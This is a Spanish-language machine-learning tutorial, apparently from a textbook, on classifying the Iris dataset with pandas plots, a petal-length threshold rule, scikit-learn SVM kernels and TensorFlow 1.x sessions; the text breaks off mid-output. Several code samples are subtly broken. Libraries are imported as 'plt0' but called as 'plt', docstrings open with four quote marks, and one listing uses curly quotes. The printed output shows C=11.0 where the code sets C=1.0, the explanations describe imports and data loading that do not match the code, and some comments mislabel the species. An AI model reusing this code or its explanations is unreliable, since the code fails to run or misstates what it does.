Para el desarrollo de los casos vamos a utilizar el dataset Iris:

iris.csv

Id	SepalLength	SepalWidth	PetalLength	PetalWidth	Name
1	5.1	3.5	1.4	0.2	Iris-setosa
2	4.9	3	1.4	0.2	Iris-setosa
3	4.7	3.2	1.3	0.2	Iris-setosa
4	4.6	3.1	1.5	0.2	Iris-setosa
5	5	3.6	1.4	0.2	Iris-setosa
6	5.4	3.9	1.7	0.4	Iris-setosa
7	4.6	3.4	1.4	0.3	Iris-setosa
8	5	3.4	1.5	0.2	Iris-setosa
9	4.4	2.9	1.4	0.2	Iris-setosa
10	4.9	3.1	1.5	0.1	Iris-setosa
11	5.4	3.7	1.5	0.2	Iris-setosa
12	4.8	3.4	1.6	0.2	Iris-setosa
13	4.8	3	1.4	0.1	Iris-setosa
14	4.3	3	1.1	0.1	Iris-setosa
15	5.8	4	1.2	0.2	Iris-setosa
16	5.7	4.4	1.5	0.4	Iris-setosa
17	5.4	3.9	1.3	0.4	Iris-setosa
18	5.1	3.5	1.4	0.3	Iris-setosa
19	5.7	3.8	1.7	0.3	Iris-setosa
20	5.1	3.8	1.5	0.3	Iris-setosa
21	5.4	3.4	1.7	0.2	Iris-setosa
22	5.1	3.7	1.5	0.4	Iris-setosa
23	4.6	3.6	1	0.2	Iris-setosa
24	5.1	3.3	1.7	0.5	Iris-setosa
25	4.8	3.4	1.9	0.2	Iris-setosa
26	5	3	1.6	0.2	Iris-setosa
27	5	3.4	1.6	0.4	Iris-setosa
28	5.2	3.5	1.5	0.2	Iris-setosa
29	5.2	3.4	1.4	0.2	Iris-setosa
30	4.7	3.2	1.6	0.2	Iris-setosa
31	4.8	3.1	1.6	0.2	Iris-setosa
32	5.4	3.4	1.5	0.4	Iris-setosa
33	5.2	4.1	1.5	0.1	Iris-setosa
34	5.5	4.2	1.4	0.2	Iris-setosa

35	4.9	3.1	1.5	0.1	Iris-setosa
36	5	3.2	1.2	0.2	Iris-setosa
37	5.5	3.5	1.3	0.2	Iris-setosa
38	4.9	3.1	1.5	0.1	Iris-setosa
39	4.4	3	1.3	0.2	Iris-setosa
40	5.1	3.4	1.5	0.2	Iris-setosa
41	5	3.5	1.3	0.3	Iris-setosa
42	4.5	2.3	1.3	0.3	Iris-setosa
43	4.4	3.2	1.3	0.2	Iris-setosa
44	5	3.5	1.6	0.6	Iris-setosa
45	5.1	3.8	1.9	0.4	Iris-setosa
46	4.8	3	1.4	0.3	Iris-setosa
47	5.1	3.8	1.6	0.2	Iris-setosa
48	4.6	3.2	1.4	0.2	Iris-setosa
49	5.3	3.7	1.5	0.2	Iris-setosa
50	5	3.3	1.4	0.2	Iris-setosa
51	7	3.2	4.7	1.4	Iris-versicolor
52	6.4	3.2	4.5	1.5	Iris-versicolor
53	6.9	3.1	4.9	1.5	Iris-versicolor
54	5.5	2.3	4	1.3	Iris-versicolor
55	6.5	2.8	4.6	1.5	Iris-versicolor
56	5.7	2.8	4.5	1.3	Iris-versicolor
57	6.3	3.3	4.7	1.6	Iris-versicolor
58	4.9	2.4	3.3	1	Iris-versicolor
59	6.6	2.9	4.6	1.3	Iris-versicolor
60	5.2	2.7	3.9	1.4	Iris-versicolor
61	5	2	3.5	1	Iris-versicolor
62	5.9	3	4.2	1.5	Iris-versicolor
63	6	2.2	4	1	Iris-versicolor
64	6.1	2.9	4.7	1.4	Iris-versicolor
65	5.6	2.9	3.6	1.3	Iris-versicolor
66	6.7	3.1	4.4	1.4	Iris-versicolor
67	5.6	3	4.5	1.5	Iris-versicolor
68	5.8	2.7	4.1	1	Iris-versicolor
69	6.2	2.2	4.5	1.5	Iris-versicolor
70	5.6	2.5	3.9	1.1	Iris-versicolor
71	5.9	3.2	4.8	1.8	Iris-versicolor

72	6.1	2.8	4	1.3	Iris-versicolor
73	6.3	2.5	4.9	1.5	Iris-versicolor
74	6.1	2.8	4.7	1.2	Iris-versicolor
75	6.4	2.9	4.3	1.3	Iris-versicolor
76	6.6	3	4.4	1.4	Iris-versicolor
77	6.8	2.8	4.8	1.4	Iris-versicolor
78	6.7	3	5	1.7	Iris-versicolor
79	6	2.9	4.5	1.5	Iris-versicolor
80	5.7	2.6	3.5	1	Iris-versicolor
81	5.5	2.4	3.8	1.1	Iris-versicolor
82	5.5	2.4	3.7	1	Iris-versicolor
83	5.8	2.7	3.9	1.2	Iris-versicolor
84	6	2.7	5.1	1.6	Iris-versicolor
85	5.4	3	4.5	1.5	Iris-versicolor
86	6	3.4	4.5	1.6	Iris-versicolor
87	6.7	3.1	4.7	1.5	Iris-versicolor
88	6.3	2.3	4.4	1.3	Iris-versicolor
89	5.6	3	4.1	1.3	Iris-versicolor
90	5.5	2.5	4	1.3	Iris-versicolor
91	5.5	2.6	4.4	1.2	Iris-versicolor
92	6.1	3	4.6	1.4	Iris-versicolor
93	5.8	2.6	4	1.2	Iris-versicolor
94	5	2.3	3.3	1	Iris-versicolor
95	5.6	2.7	4.2	1.3	Iris-versicolor
96	5.7	3	4.2	1.2	Iris-versicolor
97	5.7	2.9	4.2	1.3	Iris-versicolor
98	6.2	2.9	4.3	1.3	Iris-versicolor
99	5.1	2.5	3	1.1	Iris-versicolor
100	5.7	2.8	4.1	1.3	Iris-versicolor
101	6.3	3.3	6	2.5	Iris-virginica
102	5.8	2.7	5.1	1.9	Iris-virginica
103	7.1	3	5.9	2.1	Iris-virginica
104	6.3	2.9	5.6	1.8	Iris-virginica
105	6.5	3	5.8	2.2	Iris-virginica
106	7.6	3	6.6	2.1	Iris-virginica
107	4.9	2.5	4.5	1.7	Iris-virginica
108	7.3	2.9	6.3	1.8	Iris-virginica

109	6.7	2.5	5.8	1.8	Iris-virginica
110	7.2	3.6	6.1	2.5	Iris-virginica
111	6.5	3.2	5.1	2	Iris-virginica
112	6.4	2.7	5.3	1.9	Iris-virginica
113	6.8	3	5.5	2.1	Iris-virginica
114	5.7	2.5	5	2	Iris-virginica
115	5.8	2.8	5.1	2.4	Iris-virginica
116	6.4	3.2	5.3	2.3	Iris-virginica
117	6.5	3	5.5	1.8	Iris-virginica
118	7.7	3.8	6.7	2.2	Iris-virginica
119	7.7	2.6	6.9	2.3	Iris-virginica
120	6	2.2	5	1.5	Iris-virginica
121	6.9	3.2	5.7	2.3	Iris-virginica
122	5.6	2.8	4.9	2	Iris-virginica
123	7.7	2.8	6.7	2	Iris-virginica
124	6.3	2.7	4.9	1.8	Iris-virginica
125	6.7	3.3	5.7	2.1	Iris-virginica
126	7.2	3.2	6	1.8	Iris-virginica
127	6.2	2.8	4.8	1.8	Iris-virginica
128	6.1	3	4.9	1.8	Iris-virginica
129	6.4	2.8	5.6	2.1	Iris-virginica
130	7.2	3	5.8	1.6	Iris-virginica
131	7.4	2.8	6.1	1.9	Iris-virginica
132	7.9	3.8	6.4	2	Iris-virginica
133	6.4	2.8	5.6	2.2	Iris-virginica
134	6.3	2.8	5.1	1.5	Iris-virginica
135	6.1	2.6	5.6	1.4	Iris-virginica
136	7.7	3	6.1	2.3	Iris-virginica
137	6.3	3.4	5.6	2.4	Iris-virginica
138	6.4	3.1	5.5	1.8	Iris-virginica
139	6	3	4.8	1.8	Iris-virginica
140	6.9	3.1	5.4	2.1	Iris-virginica
141	6.7	3.1	5.6	2.4	Iris-virginica
142	6.9	3.1	5.1	2.3	Iris-virginica
143	5.8	2.7	5.1	1.9	Iris-virginica
144	6.8	3.2	5.9	2.3	Iris-virginica
145	6.7	3.3	5.7	2.5	Iris-virginica

146	6.7	3	5.2	2.3	Iris-virginica
147	6.3	2.5	5	1.9	Iris-virginica
148	6.5	3	5.2	2	Iris-virginica
149	6.2	3.4	5.4	2.3	Iris-virginica
150	5.9	3	5.1	1.8	Iris-virginica

Entre los principales algoritmos y más populares de machine Learning tenemos:

6.1.3 Aprendizaje supervisado

Este tipo de aprendizaje consiste en presentar un conjunto de pruebas de los cuáles conocemos la respuesta. Lo que deseamos es formular algún tipo de regla o correspondencia que nos permita aproximarnos a la respuesta.

El caso de estudio Iris consiste en el análisis del conjunto de datos de la planta Iris el cual es empleado con frecuencia como ejemplo por diferentes librerías que trabajan con datos o gráficos como pandas o el propio scikit-learn.

Para el desarrollo de este caso de la especie Iris (setosa, versicolor y virginica), se han tomado medidas: ancho de sépalo y ancho pétalo.

La pregunta que el algoritmo busca resolver es: Si vemos una nueva planta en el campo, ¿a qué especie pertenece según sus medidas?

El dataset Iris representa un problema de aprendizaje supervisado. El conjunto de datos que se va a utilizar es pequeño; en consecuencia, se ha buscado representar las proyecciones bidimensionales como subgráficos de un solo gráfico con el que se puede identificar dos grandes grupos: uno formado por Iris Setosa y otro formado por una mezcla de Iris Versicolor e Iris Virginica.

6.1.3.1 CASO IRIS

6.1.3.1.1 Lectura de datos

Ahora mostramos el uso de algunos métodos:

Mostrar los 5 primeros registros.

supervisado-clasificacion0. .ipynb

```
from pandas import read_csv
setosa=0
virgover=0
# lectura del dataset
data_iris = read_csv('iris.csv')
data_iris.head()
```

	Id	SepalLength	SepalWidth	PetalLength	PetalWidth	Name
0	1	5.1	3.5	1.4	0.2	Iris-setosa
1	2	4.9	3.0	1.4	0.2	Iris-setosa
2	3	4.7	3.2	1.3	0.2	Iris-setosa
3	4	4.6	3.1	1.5	0.2	Iris-setosa
4	5	5.0	3.6	1.4	0.2	Iris-setosa

Notebook : Jupyter

Mostrar los 5 últimos registros:

supervisado-clasificacion0. ipynb

```
from pandas import read_csv
setosa=0
virgover=0
# lectura del dataset
data_iris = read_csv('iris.csv')
data_iris.tail()
```

	Id	SepalLength	SepalWidth	PetalLength	PetalWidth	Name
145	146	6.7	3.0	5.2	2.3	Iris-virginica
146	147	6.3	2.5	5.0	1.9	Iris-virginica
147	148	6.5	3.0	5.2	2.0	Iris-virginica
148	149	6.2	3.4	5.4	2.3	Iris-virginica
149	150	5.9	3.0	5.1	1.8	Iris-virginica

Notebook: Jupyter

```
Ahora concatenamos los dos resultados anteriores:
supervisado-clasificacion0 .ipynb
import pandas as pd0
from pandas import read_csv
setosa=0
```

```
virgover=0
# lectura del dataset
data_iris = read_csv('iris.csv')
arriba=data_iris.head()
abajo=data_iris.tail()
concatenar=pd0.concat([arriba,abajo])
print(concatenar)
```

```
      Id  SepalLength  SepalWidth  PetalLength  PetalWidth            Name
0      1          5.1         3.5          1.4         0.2     Iris-setosa
1      2          4.9         3.0          1.4         0.2     Iris-setosa
2      3          4.7         3.2          1.3         0.2     Iris-setosa
3      4          4.6         3.1          1.5         0.2     Iris-setosa
4      5          5.0         3.6          1.4         0.2     Iris-setosa
145  146          6.7         3.0          5.2         2.3  Iris-virginica
146  147          6.3         2.5          5.0         1.9  Iris-virginica
147  148          6.5         3.0          5.2         2.0  Iris-virginica
148  149          6.2         3.4          5.4         2.3  Iris-virginica
149  150          5.9         3.0          5.1         1.8  Iris-virginica
```

Notebook: Jupyter

Ahora mostramos el uso de algunos métodos:

Mostrar la cantidad total de registros y el número de columnas:

```
from pandas import read_csv
# lectura del dataset
data_iris = read_csv('iris.csv')
#mostrar en un conjunto de datos
print(data_iris.shape)
(150, 6)
```

Notebook: Jupyter

```
from pandas import read_csv
# lectura del dataset
data_iris = read_csv('iris.csv')
#mostrar en un conjunto de datos
print(data_iris["Name"].value_counts())
Iris-setosa        50
Iris-versicolor    50
Iris-virginica     50
Name: Name, dtype: int64
```

Notebook: Jupyter

Ahora vamos a construir un histograma en base al dataset Iris:

supervisado-clasificacion0 .ipynb

```
import numpy as np0
import pandas as pd0
import matplotlib.pyplot as plt0
from pandas import read_csv
setosa=0
virgover=0
# lectura del dataset
data_iris = read_csv('iris.csv')
#clasificar por familia
setosa = data_iris[data_iris.Name == 'Iris-setosa']
versicolor=data_iris[data_iris.Name=='Iris-versicolor']
virginica = data_iris[data_iris.Name == 'Iris-virginica']
# crear histograma
plt0.figure(figsize=(10, 8))
""""
setosa
este histograma de la familia de la setosa
10 agrupaciones de datos
""""
n, bins, patches = plt0.hist(setosa['PetalLength'], 12,
                             facecolor='yellow', label='setosa')
""""
versicolor
este histograma de la familia de la setosa
14 agrupaciones de datos
""""
n, bins, patches = plt0.hist(versicolor['PetalLength'], 15,
                             facecolor='lime', label='versicolor')
""""
este histograma de la familia de la setosa
14 agrupaciones de datos
""""
n, bins, patches = plt0.hist(virginica['PetalLength'], 15,
                             facecolor='aqua', label='virginica')
plt0.title('Histograma Iris')
plt0.xlabel('largo del pétalo')
plt0.ylabel('cuenta largo del pétalo')
plt0.show()
```

Notebook: Jupyter

Ahora vamos a construir un diagrama de dispersión en base al dataset Iris:

```
supervisado-clasificacion0 .ipynb
import numpy as np0
import pandas as pd0
import matplotlib.pyplot as plt0
from pandas import read_csv
# lectura del dataset
data_iris = read_csv('iris.csv')
#clasificar por familia
setosa = data_iris[data_iris.Name == 'Iris-setosa']
versicolor = data_iris[data_iris.Name == 'Iris-versicolor']
virginica = data_iris[data_iris.Name == 'Iris-virginica']
plt.figure(figsize=(10, 10))
"""
diagrama de dispersion en relacion a
tres variables setosa versicolor y
virginica
"""
plt.scatter(setosa['PetalLength'], setosa['PetalWidth'],
            c='yellow', label='Iris-setosa')
plt.scatter(versicolor['PetalLength'], versicolor['PetalWidth'],
            c='lime', label='Iris-versicolor')
```

```
plt.scatter(virginica['PetalLength'], virginica['PetalWidth'],
            c='aqua', label='Iris-virginica')
plt.title('Tamaño del pétalo')
plt.xlabel('Largo del pétalo (cm)')
plt.ylabel('Ancho del pétalo (cm)')
plt.show()
```

Notebook: Jupyter

6.1.3.1.2 Clasificación y Regresión

Existe dos tipos de problemas supervisados de aprendizaje de máquina llamados clasificación y regresión.

En regresión es encontrar una curva que se ajuste al conjunto de entrenamiento.

En la clasificación, el objetivo es predecir una etiqueta de clase o encontrar un modelo que describa la distribución de las clases, que es una opción de una lista de posibilidades. Ahora Nuestro primer modelo de clasificación se basará precisamente en esa primera agrupación visual que hemos realizado. Es decir, si la longitud del pétalo es inferior a 2, entonces se trata de Iris Setosa, si no, puede ser Iris Versicolor o Iris Virginica.

supervisado-clasificacion1.ipynb

```
from pandas import read_csv
setosa=0
virgover=0
# lectura del dataset
data_iris = read_csv('iris.csv')
"""
Separamos la Setosa
de la virginica o versicolor
en base a la longitud
del Petalo PetalLength
"""
for valores in data_iris.PetalLength.values:
    if valores < 2:
        print('Es setosa')
        setosa=setosa+1
    else:
        print('Es virginica o versicolor')
        virgover=virgover+1
print("="*20)
print("Total setosa :",setosa)
print("="*20)
print("Total virginica o versicolor :",virgover)
print("="*20)
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
```

```
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es setosa
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
```

```
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
```

```
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
Es virginica o versicolor
```

```
Es virginica o versicolor
Es virginica o versicolor
====================
Total setosa : 50
====================
Total virginica o versicolor : 100
====================
```

Notebook : Jupyter

Explicación del Código

supervisado-clasificacion1.ipynb

Primero debemos importar el paquete pandas.

Para Leer el archivo CSV (separado por comas) en DataFrame:

```
from pandas import read_csv
```

Creamos dos variables:

```
setosa=0
virgover=0
```

Leemos el dataset iris.csv:

```
data_iris = read_csv('iris.csv')
```

Separamos la Setosa de la Virginica o Versicolor en base a la longitud del petalo PetalLength:

```
for valores in data_iris.PetalLength.values:
    if valores < 2:
        print('Es setosa')
        setosa=setosa+1
    else:
        print('Es virginica o versicolor')
        virgover=virgover+1
```

Mostramos el total de Setosa:

```
print("Total setosa :",setosa)
```

Mostramos el total de Virginica o Versicolor:

```
print("Total virginica o versicolor :",virgover)
```

6.1.3.1.3 Máquina de Soporte Vectorial

Hiperplano de separación óptimo

Máquina de soporte Vectorial es un algoritmo supervisado trata de encontrar un hiperplano que separe lo mejor posible las clases o observación, se utiliza para resolver problemas de clasificación o regresión, originalmente se utilizó para problemas binarios.

Algunas aplicaciones típicas de la máquina de soporte vectorial tenemos:

- Reconocimiento de firmas.
- Reconocimiento de imágenes como rostros y textos.
- Clasificación de déficit habitacional.

La Máquina de soporte Vectorial usa diferentes kernel para mapear espacios de entrada en el espacio de alta dimensionalidad característica. Y en ese espacio de la característica, encontramos el límite linealmente separable, a continuación algunos kernel que podemos utilizar:

- Lineal.
- Polinomio.
- Gaussian (RBF).

Los Kernal lineales son buenos para el texto y son necesarios para el rendimiento si tiene una gran cantidad de datos.

El kernal RBF son de uso general. Por lo general lo primero se debe intentar si no está procesando texto.

El kernal POLINOMIAL no solo las características dadas de las muestras de entrada para determinar su similitud, sino también combinaciones de estas.

Ahora nuestro primer modelo de Máquina de Soporte Vectorial aplicado a nuestro caso:

supervisado-SVM1.ipynb

```
import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm, datasets
import matplotlib.pyplot as plt
# importamos el dataset
iris = datasets.load_iris()
“”””
solo tomamos las primeras
2 características
SepalLength,SepalWidth
“”””
X = iris.data[:, :2]
“”””
para ello obtenemos un target
que clasificara omo hemos visto
la variable objetivo contiene valores
como 0, 1,2 cada valor representa el
tipo de especie de flor del iris
“”””
y = iris.target
print(“=”*75)
print(y)
print(“=”*75)
#tamaño de la malla del grafico
h = .02
# Creando el SVM con sus diferentes métodos
# parametro de regulacion SVM
C = 1.0
#SVM lineal
svc = svm.SVC(kernel=’linear’,
              C=C).fit(X, y)
print(“=”*75)
print(“kernal linear:”,svc)
print(“=”*75)
#SVM rbf
rbf_svc = svm.SVC(kernel=’rbf’,
```

```
                  gamma=0.7, C=C).fit(X, y)
print("="*75)
print("kernal rbf:",rbf_svc)
print("="*75)
#SVM polinomial
poly_svc = svm.SVC(kernel='poly',
                   degree=3, C=C).fit(X, y)
print("="*75)
print("kernal poly:",poly_svc)
lin_svc = svm.LinearSVC(C=C).fit(X, y)
# crear el area para graficar
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                     np.arange(y_min, y_max, h))
"""
titulos de los graficos segun kernel:
SVC linear kernel Lineal
LinearSVC linear kernel Lineal
SVC  RBF kernel o Radial Basis Function
SVC  polynomial polinomial
"""
titles = ['SVC  linear kernel',
          'LinearSVC (linear kernel)',
          'SVC  RBF kernel',
           'SVC  polynomial']
for i, clf in enumerate((svc, lin_svc,
                         rbf_svc, poly_svc)):
    # Realizando el gráfico
    #se le asigna un color a cada punto
    plt.subplot(2, 2, i + 1)
    plt.subplots_adjust(wspace=0.4, hspace=0.4)
    #prediccion en base un modelo
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
    # colocar el resultado dentro de un repositorio
    Z = Z.reshape(xx.shape)
    plt.contourf(xx, yy, Z,
                 cmap=plt.cm.coolwarm, alpha=0.8)
   # Graficando tambien los puntos de datos
    plt.scatter(X[:, 0], X[:, 1],
                c=y, cmap=plt.cm.coolwarm)
    plt.xlabel('Sepal longitud')
    plt.ylabel('Sepal ancho')
    plt.xlim(xx.min(), xx.max())
    plt.ylim(yy.min(), yy.max())
```

```
    plt.xticks(())
    plt.yticks(())
    plt.title(titles[i])
#mostramos el grafico
plt.show()
========================================
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2
 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
 2 2]
========================================
kernal linear: SVC(C=11.0, cache_size=200, class_weight=None, coef0=0.0,
  decision_function_shape=None, degree=3, gamma='auto', kernel='linear',
  max_iter=-1, probability=False, random_state=None, shrinking=True,
  tol=0.001, verbose=False)
========================================
kernal rbf: SVC(C=11.0, cache_size=200, class_weight=None, coef0=0.0,
  decision_function_shape=None, degree=3, gamma=0.7, kernel='rbf',
  max_iter=-1, probability=False, random_state=None, shrinking=True,
  tol=0.001, verbose=False)
========================================
kernal poly: SVC(C=11.0, cache_size=200, class_weight=None, coef0=0.0,
  decision_function_shape=None, degree=3, gamma='auto', kernel='poly',
  max_iter=-1, probability=False, random_state=None, shrinking=True,
  tol=0.001, verbose=False)
========================================
```

Notebook : Jupyter

Explicación del Código

supervisado-SVM1.ipynb

Primero debemos importar el paquete pandas.

Para Leer el archivo CSV (separado por comas) en DataFrame:

```
import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm, datasets
import matplotlib.pyplot as plt
```

leemos el dataset iris.csv.

```
data_iris = read_csv('iris.csv')
```

Tomamos 2 columnas del dataset iris.

sepal length (cm)	sepal width (cm)	petal length (cm)	petal width (cm)
5.1	3.5	1.4	0.2
4.9	3.0	1.4	0.2
4.7	3.2	1.3	0.2
4.6	3.1	1.5	0.2
5.0	3.6	1.4	0.2

```
X = iris.data[:, :2]
```

Usaremos un target que clasificara o agrupara con los valores: 0, 1,2 cada valor representa el tipo de especie de flor del iris.

```
y = iris.target
```

```
==========================================================================
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2
 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
 2 2]
==========================================================================
```

Creación del SVM con sus diferentes kernel.

```
C = 1.0
#SVM lineal
svc = svm.SVC(kernel='linear',
```

```
              C=C).fit(X, y)
print("="*75)
print("kernal linear:",svc)
print("="*75)
#SVM rbf
rbf_svc = svm.SVC(kernel='rbf',
                  gamma=0.7, C=C).fit(X, y)
print("="*75)
print("kernal rbf:",rbf_svc)
print("="*75)
#SVM polinomial
poly_svc = svm.SVC(kernel='poly',
                   degree=3, C=C).fit(X, y)
print("="*75)
print("kernal poly:",poly_svc)
lin_svc = svm.LinearSVC(C=C).fit(X, y)
```

Área a graficar:

```
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                     np.arange(y_min, y_max, h))
```

Títulos de los gráficos segun kernel:

- SVC linear kernel Lineal.
- LinearSVC linear kernel Lineal.
- SVC RBF kernel o Radial Basis Function.
- SVC polynomial polinomial.

```
titles = ['SVC  linear kernel',
          'LinearSVC (linear kernel)',
          'SVC  RBF kernel',
          'SVC  polynomial']
```

```
for i, clf in enumerate((svc, lin_svc,
                         rbf_svc, poly_svc)):
    # Realizando el gráfico
    #se le asigna un color a cada punto
    plt.subplot(2, 2, i + 1)
    plt.subplots_adjust(wspace=0.4, hspace=0.4)
    #prediccion en base un modelo
```

```
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
    # colocar el resultado dentro de un repositorio
    Z = Z.reshape(xx.shape)
    plt.contourf(xx, yy, Z,
                 cmap=plt.cm.coolwarm, alpha=0.8)
   # Graficando tambien los puntos de datos
    plt.scatter(X[:, 0], X[:, 1],
                c=y, cmap=plt.cm.coolwarm)
    plt.xlabel('Sepal longitud')
    plt.ylabel('Sepal ancho')
    plt.xlim(xx.min(), xx.max())
    plt.ylim(yy.min(), yy.max())
    plt.xticks(())
    plt.yticks(())
    plt.title(titles[i])
#mostramos el grafico
plt.show()
```

Notebook : Jupyter

Interpretación

Mostramos una comparación de diferentes clasificadores Máquina de Soporte Vectorial en 2D del conjunto de datos iris. Solo consideramos las dos primeras características de este conjunto de datos:

- Longitud sepal
- Ancho sepal

Este ejemplo muestra cómo trazar la superficie de decisión para cuatro clasificadores SVM con diferentes kernel o núcleos.

El modelo Kernel lineal SVC with lineal y LinearSVC rendimiento ligeramente diferentes fronteras de decisión porque el resultado no siempre es linealmente separable.

Aunque Es más recomendable el uso del kernal gaussian (RBF).

Ambos modelos lineales tienen límites de decisión lineales (intersección de hiperplanos), mientras que los modelos no lineales de núcleo (polinomio o RBF gaussiano) tienen límites de decisión no lineales más flexibles con formas que dependen del tipo de núcleo y sus parámetros.

6.1.3.1.4 TensorFlow

El motor TensorFlow de Google tiene una forma única de resolver problemas. Esta forma única permite resolver problemas de aprendizaje eficientemente.

supervisado-SVM2-tensorflow.ipynb

```
"""
importamos los
modulos necesarios
"""
import matplotlib.pyplot as plt
import numpy as np
import tensorflow as tf
from sklearn import datasets
from tensorflow.python.framework import ops
from IPython.display import Image
ops.reset_default_graph()
```

```
"""
probar que tienen bien instalado
el paquete tensorflow
"""
mensaje = tf.constant("probando tensorflow")
session = tf.Session()
print(session.run(mensaje))
```

```
"""
Empecemos arrancando la ejecución de nuestro
modelo definido creando primero una sesión:
"""
sess = tf.Session()
print(sess)
```

```
<tensorflow.python.client.session.Session object at 0x000000D4EB1E53C8>
```

```
"""
carga dataset
"""
iris = datasets.load_iris()
"""
verificamos los datos y
cantidad de datos
"""
valores = np.array([[x[0],x[1],x[2], x[3]] for x in iris.data])
print("="*10,"DATOS","="*10)
print(valores)
print("="*10,"DATOS","="*10)
print("cantidad de item :",end="")
```

```
print(len(iris.target))
print(iris.target)
"""
El dataset resultante es un objeto Bunch
puede ver lo que está disponible usando
el metodo keys()
las claves method ():
"""
print(iris.keys())
```

```
========== DATOS ==========
[[ 5.1  3.5  1.4  0.2]
 [ 4.9  3.   1.4  0.2]
 [ 4.7  3.2  1.3  0.2]
 [ 4.6  3.1  1.5  0.2]
 [ 5.   3.6  1.4  0.2]
 [ 5.4  3.9  1.7  0.4]
 [ 4.6  3.4  1.4  0.3]
 [ 5.   3.4  1.5  0.2]
 [ 4.4  2.9  1.4  0.2]
 [ 4.9  3.1  1.5  0.1]
 [ 5.4  3.7  1.5  0.2]
 [ 4.8  3.4  1.6  0.2]
 [ 4.8  3.   1.4  0.1]
 [ 4.3  3.   1.1  0.1]
 [ 5.8  4.   1.2  0.2]
 [ 5.7  4.4  1.5  0.4]
 [ 5.4  3.9  1.3  0.4]
 [ 5.1  3.5  1.4  0.3]
 [ 5.7  3.8  1.7  0.3]
 [ 5.1  3.8  1.5  0.3]
 [ 5.4  3.4  1.7  0.2]
 [ 5.1  3.7  1.5  0.4]
```

```
[ 4.6  3.6  1.   0.2]
[ 5.1  3.3  1.7  0.5]
[ 4.8  3.4  1.9  0.2]
[ 5.   3.   1.6  0.2]
[ 5.   3.4  1.6  0.4]
[ 5.2  3.5  1.5  0.2]
[ 5.2  3.4  1.4  0.2]
[ 4.7  3.2  1.6  0.2]
[ 4.8  3.1  1.6  0.2]
[ 5.4  3.4  1.5  0.4]
[ 5.2  4.1  1.5  0.1]
[ 5.5  4.2  1.4  0.2]
[ 4.9  3.1  1.5  0.1]
[ 5.   3.2  1.2  0.2]
